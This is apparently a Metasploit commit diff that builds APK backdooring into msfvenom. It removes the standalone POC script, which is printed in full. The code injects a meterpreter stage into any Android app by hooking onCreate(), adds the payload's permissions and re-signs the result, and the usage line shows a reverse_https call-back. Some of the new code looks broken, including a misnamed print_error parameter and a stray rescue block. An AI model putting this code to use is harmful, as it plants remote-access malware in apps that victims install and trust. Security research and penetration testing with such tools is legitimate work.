integrate ./msfvenom -x for android payloads
This commit is contained in:
+33
-65
@@ -1,6 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/text'
|
||||
require 'tmpdir'
|
||||
require 'nokogiri'
|
||||
require 'fileutils'
|
||||
@@ -9,6 +10,21 @@ require 'open3'
|
||||
|
||||
module Msf::Payload::Apk
|
||||
|
||||
class ApkBackdoor
|
||||
include Msf::Payload::Apk
|
||||
def backdoor_apk(apk, payload)
|
||||
backdoor_payload(apk, payload)
|
||||
end
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
$stderr.puts "[*] #{msg}"
|
||||
end
|
||||
|
||||
def print_error(msf='')
|
||||
$stderr.puts "[-] #{msg}"
|
||||
end
|
||||
|
||||
def usage
|
||||
print_error "Usage: #{$0} [target.apk] [msfvenom options]\n"
|
||||
print_error "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
|
||||
@@ -46,46 +62,6 @@ module Msf::Payload::Apk
|
||||
end
|
||||
end
|
||||
|
||||
# If XML parsing of the manifest fails, recursively search
|
||||
# the smali code for the onCreate() hook and let the user
|
||||
# pick the injection point
|
||||
|
||||
def scrape_files_for_launcher_activity(tempdir)
|
||||
smali_files||=[]
|
||||
Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file|
|
||||
checkFile=File.read(file)
|
||||
if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V")
|
||||
smali_files << file
|
||||
smalifile = file
|
||||
activitysmali = checkFile
|
||||
end
|
||||
end
|
||||
i=0
|
||||
print_status "[*] Please choose from one of the following:\n"
|
||||
smali_files.each{|s_file|
|
||||
print_status "[+] Hook point ",i,": ",s_file,"\n"
|
||||
i+=1
|
||||
}
|
||||
hook=-1
|
||||
while (hook < 0 || hook>i)
|
||||
print_status "\nHook: "
|
||||
hook = STDIN.gets.chomp.to_i
|
||||
end
|
||||
i=0
|
||||
smalifile=""
|
||||
activitysmali=""
|
||||
smali_files.each{|s_file|
|
||||
if (i==hook)
|
||||
checkFile=File.read(s_file)
|
||||
smalifile=s_file
|
||||
activitysmali = checkFile
|
||||
break
|
||||
end
|
||||
i+=1
|
||||
}
|
||||
return [smalifile,activitysmali]
|
||||
end
|
||||
|
||||
def fix_manifest(tempdir)
|
||||
payload_permissions=[]
|
||||
|
||||
@@ -119,7 +95,7 @@ module Msf::Payload::Apk
|
||||
add_permissions=[]
|
||||
for permission in payload_permissions
|
||||
if !(original_permissions.include? permission)
|
||||
print_status "[*] Adding #{permission}\n"
|
||||
print_status("Adding #{permission}")
|
||||
add_permissions << permission
|
||||
end
|
||||
end
|
||||
@@ -149,19 +125,19 @@ module Msf::Payload::Apk
|
||||
|
||||
jarsigner = run_cmd("jarsigner")
|
||||
unless jarsigner != nil
|
||||
print_error "[-] jarsigner not found. If it's not in your PATH, please add it.\n"
|
||||
print_error("jarsigner not found. If it's not in your PATH, please add it.")
|
||||
exit(1)
|
||||
end
|
||||
|
||||
apktool = run_cmd("apktool -version")
|
||||
unless apktool != nil
|
||||
print_error "[-] apktool not found. If it's not in your PATH, please add it.\n"
|
||||
print_error "apktool not found. If it's not in your PATH, please add it."
|
||||
exit(1)
|
||||
end
|
||||
|
||||
apk_v = Gem::Version.new(apktool)
|
||||
unless apk_v >= Gem::Version.new('2.0.1')
|
||||
print_error "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n"
|
||||
print_error "apktool version #{apk_v} not supported, please download at least version 2.0.1."
|
||||
exit(1)
|
||||
end
|
||||
|
||||
@@ -171,54 +147,46 @@ module Msf::Payload::Apk
|
||||
File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
|
||||
FileUtils.cp apkfile, "#{tempdir}/original.apk"
|
||||
|
||||
print_status "[*] Decompiling original APK..\n"
|
||||
print_status "Decompiling original APK..\n"
|
||||
run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original")
|
||||
print_status "[*] Decompiling payload APK..\n"
|
||||
print_status "Decompiling payload APK..\n"
|
||||
run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
|
||||
|
||||
f = File.open("#{tempdir}/original/AndroidManifest.xml")
|
||||
amanifest = Nokogiri::XML(f)
|
||||
f.close
|
||||
|
||||
print_status "[*] Locating onCreate() hook..\n"
|
||||
print_status "Locating onCreate() hook..\n"
|
||||
|
||||
launcheractivity = find_launcher_activity(amanifest)
|
||||
smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali"
|
||||
begin
|
||||
activitysmali = File.read(smalifile)
|
||||
rescue Errno::ENOENT
|
||||
print_status "[!] Unable to find correct hook automatically\n"
|
||||
begin
|
||||
results=scrape_files_for_launcher_activity(tempdir)
|
||||
smalifile=results[0]
|
||||
activitysmali=results[1]
|
||||
rescue
|
||||
print_error "[-] Error finding launcher activity. Exiting"
|
||||
exit(1)
|
||||
end
|
||||
print_status "Unable to find correct hook automatically\n"
|
||||
exit
|
||||
end
|
||||
|
||||
print_status "[*] Copying payload files..\n"
|
||||
print_status "Copying payload files..\n"
|
||||
FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/")
|
||||
FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/"
|
||||
activitycreate = ';->onCreate(Landroid/os/Bundle;)V'
|
||||
payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
|
||||
hookedsmali = activitysmali.gsub(activitycreate, payloadhook)
|
||||
print_status "[*] Loading ",smalifile," and injecting payload..\n"
|
||||
print_status "Loading #{smalifile} and injecting payload..\n"
|
||||
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
|
||||
injected_apk = apkfile.sub('.apk', '_backdoored.apk')
|
||||
|
||||
print_status "[*] Poisoning the manifest with meterpreter permissions..\n"
|
||||
injected_apk = "#{tempdir}/output.apk"
|
||||
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
||||
fix_manifest(tempdir)
|
||||
|
||||
print_status "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
||||
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
||||
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
||||
print_status "[*] Signing #{injected_apk}\n"
|
||||
print_status "Signing #{injected_apk}\n"
|
||||
run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
|
||||
|
||||
outputapk = File.read(injected_apk)
|
||||
rescue
|
||||
FileUtils.remove_entry tempdir
|
||||
|
||||
puts "[+] Infected file #{injected_apk} ready.\n"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -310,9 +310,9 @@ module Msf
|
||||
cli_print "Payload size: #{raw_payload.length} bytes"
|
||||
raw_payload
|
||||
elsif payload.start_with? "android/"
|
||||
cli_print "Using template: #{template}"
|
||||
|
||||
raw_payload = generate_raw_payload
|
||||
cli_print "Using APK template: #{template}"
|
||||
apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new()
|
||||
raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload)
|
||||
cli_print "Payload size: #{raw_payload.length} bytes"
|
||||
raw_payload
|
||||
else
|
||||
|
||||
@@ -1,255 +0,0 @@
|
||||
#!/usr/bin/env ruby
|
||||
#
|
||||
# This script is a POC for injecting metasploit payloads on
|
||||
# arbitrary APKs.
|
||||
# Authored by timwr, Jack64
|
||||
#
|
||||
|
||||
require 'tmpdir'
|
||||
require 'nokogiri'
|
||||
require 'fileutils'
|
||||
require 'optparse'
|
||||
require 'open3'
|
||||
|
||||
def usage
|
||||
$stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
|
||||
$stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
|
||||
end
|
||||
|
||||
def run_cmd(cmd)
|
||||
begin
|
||||
stdin, stdout, stderr = Open3.popen3(cmd)
|
||||
return stdout.read + stderr.read
|
||||
rescue Errno::ENOENT
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Find the activity that is opened when you click the app icon
|
||||
def find_launcher_activity(amanifest)
|
||||
package = amanifest.xpath("//manifest").first['package']
|
||||
activities = amanifest.xpath("//activity|//activity-alias")
|
||||
for activity in activities
|
||||
activityname = activity.attribute("name")
|
||||
category = activity.search('category')
|
||||
unless category
|
||||
next
|
||||
end
|
||||
for cat in category
|
||||
categoryname = cat.attribute('name')
|
||||
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
|
||||
activityname = activityname.to_s
|
||||
unless activityname.start_with?(package)
|
||||
activityname = package + activityname
|
||||
end
|
||||
return activityname
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# If XML parsing of the manifest fails, recursively search
|
||||
# the smali code for the onCreate() hook and let the user
|
||||
# pick the injection point
|
||||
|
||||
def scrape_files_for_launcher_activity(tempdir)
|
||||
smali_files||=[]
|
||||
Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file|
|
||||
checkFile=File.read(file)
|
||||
if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V")
|
||||
smali_files << file
|
||||
smalifile = file
|
||||
activitysmali = checkFile
|
||||
end
|
||||
end
|
||||
i=0
|
||||
print "[*] Please choose from one of the following:\n"
|
||||
smali_files.each{|s_file|
|
||||
print "[+] Hook point ",i,": ",s_file,"\n"
|
||||
i+=1
|
||||
}
|
||||
hook=-1
|
||||
while (hook < 0 || hook>i)
|
||||
print "\nHook: "
|
||||
hook = STDIN.gets.chomp.to_i
|
||||
end
|
||||
i=0
|
||||
smalifile=""
|
||||
activitysmali=""
|
||||
smali_files.each{|s_file|
|
||||
if (i==hook)
|
||||
checkFile=File.read(s_file)
|
||||
smalifile=s_file
|
||||
activitysmali = checkFile
|
||||
break
|
||||
end
|
||||
i+=1
|
||||
}
|
||||
return [smalifile,activitysmali]
|
||||
end
|
||||
|
||||
def fix_manifest(tempdir)
|
||||
payload_permissions=[]
|
||||
|
||||
#Load payload's permissions
|
||||
File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file|
|
||||
k=File.read(file)
|
||||
payload_manifest=Nokogiri::XML(k)
|
||||
permissions = payload_manifest.xpath("//manifest/uses-permission")
|
||||
for permission in permissions
|
||||
name=permission.attribute("name")
|
||||
payload_permissions << name.to_s
|
||||
end
|
||||
}
|
||||
|
||||
original_permissions=[]
|
||||
apk_mani=""
|
||||
|
||||
#Load original apk's permissions
|
||||
File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2|
|
||||
k=File.read(file2)
|
||||
apk_mani=k
|
||||
original_manifest=Nokogiri::XML(k)
|
||||
permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||
for permission in permissions
|
||||
name=permission.attribute("name")
|
||||
original_permissions << name.to_s
|
||||
end
|
||||
}
|
||||
|
||||
#Get permissions that are not in original APK
|
||||
add_permissions=[]
|
||||
for permission in payload_permissions
|
||||
if !(original_permissions.include? permission)
|
||||
print "[*] Adding #{permission}\n"
|
||||
add_permissions << permission
|
||||
end
|
||||
end
|
||||
|
||||
inject=0
|
||||
new_mani=""
|
||||
#Inject permissions in original APK's manifest
|
||||
for line in apk_mani.split("\n")
|
||||
if (line.include? "uses-permission" and inject==0)
|
||||
for permission in add_permissions
|
||||
new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
|
||||
end
|
||||
new_mani << line+"\n"
|
||||
inject=1
|
||||
else
|
||||
new_mani << line+"\n"
|
||||
end
|
||||
end
|
||||
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani }
|
||||
end
|
||||
|
||||
def backdoor_payload(apkfile, raw_payload)
|
||||
unless apkfile && File.readable?(apkfile)
|
||||
usage
|
||||
exit(1)
|
||||
end
|
||||
|
||||
jarsigner = run_cmd("jarsigner")
|
||||
unless jarsigner != nil
|
||||
$stderr.puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n"
|
||||
exit(1)
|
||||
end
|
||||
|
||||
apktool = run_cmd("apktool -version")
|
||||
unless apktool != nil
|
||||
$stderr.puts "[-] apktool not found. If it's not in your PATH, please add it.\n"
|
||||
exit(1)
|
||||
end
|
||||
|
||||
apk_v = Gem::Version.new(apktool)
|
||||
unless apk_v >= Gem::Version.new('2.0.1')
|
||||
$stderr.puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n"
|
||||
exit(1)
|
||||
end
|
||||
|
||||
#Create temporary directory where work will be done
|
||||
tempdir = Dir.mktmpdir
|
||||
|
||||
File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
|
||||
FileUtils.cp apkfile, "#{tempdir}/original.apk"
|
||||
|
||||
print "[*] Decompiling original APK..\n"
|
||||
run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original")
|
||||
print "[*] Decompiling payload APK..\n"
|
||||
run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
|
||||
|
||||
f = File.open("#{tempdir}/original/AndroidManifest.xml")
|
||||
amanifest = Nokogiri::XML(f)
|
||||
f.close
|
||||
|
||||
print "[*] Locating onCreate() hook..\n"
|
||||
|
||||
launcheractivity = find_launcher_activity(amanifest)
|
||||
smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali"
|
||||
begin
|
||||
activitysmali = File.read(smalifile)
|
||||
rescue Errno::ENOENT
|
||||
print "[!] Unable to find correct hook automatically\n"
|
||||
begin
|
||||
results=scrape_files_for_launcher_activity(tempdir)
|
||||
smalifile=results[0]
|
||||
activitysmali=results[1]
|
||||
rescue
|
||||
$stderr.puts "[-] Error finding launcher activity. Exiting"
|
||||
exit(1)
|
||||
end
|
||||
end
|
||||
|
||||
print "[*] Copying payload files..\n"
|
||||
FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/")
|
||||
FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/"
|
||||
activitycreate = ';->onCreate(Landroid/os/Bundle;)V'
|
||||
payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
|
||||
hookedsmali = activitysmali.gsub(activitycreate, payloadhook)
|
||||
print "[*] Loading ",smalifile," and injecting payload..\n"
|
||||
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
|
||||
injected_apk = apkfile.sub('.apk', '_backdoored.apk')
|
||||
|
||||
print "[*] Poisoning the manifest with meterpreter permissions..\n"
|
||||
fix_manifest(tempdir)
|
||||
|
||||
print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
||||
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
||||
print "[*] Signing #{injected_apk}\n"
|
||||
run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
|
||||
|
||||
FileUtils.remove_entry tempdir
|
||||
|
||||
puts "[+] Infected file #{injected_apk} ready.\n"
|
||||
end
|
||||
|
||||
if __FILE__ == $0
|
||||
begin
|
||||
msfvenom_opts = ARGV[1,ARGV.length]
|
||||
opts=""
|
||||
msfvenom_opts.each{|x|
|
||||
opts+=x
|
||||
opts+=" "
|
||||
}
|
||||
rescue
|
||||
$stderr.puts "[-] Error parsing msfvenom options. Exiting.\n"
|
||||
usage
|
||||
exit(1)
|
||||
end
|
||||
|
||||
print "[*] Generating msfvenom payload..\n"
|
||||
msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "msfvenom"))
|
||||
msfvenom_command = "#{msfvenom_path} -f raw #{opts}"
|
||||
begin
|
||||
stdin, stdout, stderr = Open3.popen3(msfvenom_command)
|
||||
payload = stdout.read
|
||||
msfvenom_output = stderr.read
|
||||
backdoor_payload(ARGV[0], payload)
|
||||
rescue Errno::ENOENT
|
||||
$stderr.puts msfvenom_output
|
||||
exit(1)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user